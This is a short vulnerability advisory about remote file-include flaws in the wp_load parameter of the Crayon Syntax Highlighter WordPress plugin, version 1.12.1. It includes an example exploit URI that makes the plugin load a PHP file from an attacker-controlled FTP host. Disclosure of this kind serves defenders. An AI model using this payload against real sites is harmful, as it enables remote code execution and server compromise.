WordPress Crayon Syntax Highlighter Plugin ‘wp_load’ Parameter Remote File Include Vulnerabilities

Summary

The Crayon Syntax Highlighter plug-in for WordPress is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Credit:

The information has been provided by Charlie Eriksen.


Details

Vulnerable Systems:
 * WordPress Crayon Syntax Highlighter 1.12.1

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Exploit:
Attackers can use a browser to exploit these issues.

The following example URI is available:
http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php

Disclosure Timeline:
Published: October 15 2012

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